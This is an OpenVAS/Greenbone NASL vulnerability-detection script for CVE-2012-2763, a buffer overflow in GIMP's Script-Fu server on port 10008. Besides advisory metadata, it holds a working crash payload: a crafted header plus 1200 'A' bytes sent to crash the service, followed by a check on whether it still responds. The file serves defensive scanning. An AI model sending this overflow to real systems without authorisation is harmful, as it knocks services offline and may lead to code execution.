GIMP Script-Fu Server Buffer Overflow Vulnerability

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802878");
  script_version("2023-07-21T05:05:22+0000");
  script_cve_id("CVE-2012-2763");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2012-06-27 13:12:09 +0530 (Wed, 27 Jun 2012)");
  script_name("GIMP Script-Fu Server Buffer Overflow Vulnerability");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Buffer overflow");
  script_dependencies("find_service.nasl");
  script_require_ports(10008);

  script_xref(name:"URL", value:"http://secunia.com/advisories/49314");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/53741");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/18956");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/18973");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/113201/GIMP-script-fu-Server-Buffer-Overflow.html");
  script_xref(name:"URL", value:"http://www.reactionpenetrationtesting.co.uk/advisories/scriptfu-buffer-overflow-GIMP-2.6.html");

  script_tag(name:"impact", value:"Successful exploitation will allow attackers to gain control of EIP and
  potentially execute arbitrary code.");

  script_tag(name:"affected", value:"GIMP version 2.6.12 and prior.");

  script_tag(name:"insight", value:"The script-fu server process in GIMP fails to handle a specially crafted
  command input sent to TCP port 10008, which could be exploited by remote attackers to cause a buffer overflow.");

  script_tag(name:"solution", value:"Upgrade to GIMP version 2.8.0 or later.");

  script_tag(name:"summary", value:"GIMP Script-Fu Server is prone to a buffer overflow vulnerability.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

port = 10008;
if(!get_port_state(port)){
  exit(0);
}

soc = open_sock_tcp(port);
if(!soc){
  exit(0);
}

## Send a Test msg to check if server is responding
testmsg ='\x47\x00\x04\x74\x65\x73\x74';

send(socket:soc, data: testmsg);
res = recv_line(socket:soc, length:100);
res = hexstr(res);

# nb: first byte 0x47 (Magic byte 'G') and second byte 0x00 for error (0 on success, 1 on error)
if(!res || res !~ "^470100") {
  close(soc);
  exit(0);
}

exploit = crap(data:"A", length: 1200);
exploit = '\x47\x04\xB0' + exploit;

send(socket:soc, data: exploit);
sleep(5);

## Send Test msg again to confirm server is crashed
send(socket:soc, data: testmsg);
res = recv_line(socket:soc, length:100);
close(soc);

if(!res){
  security_message(port);
}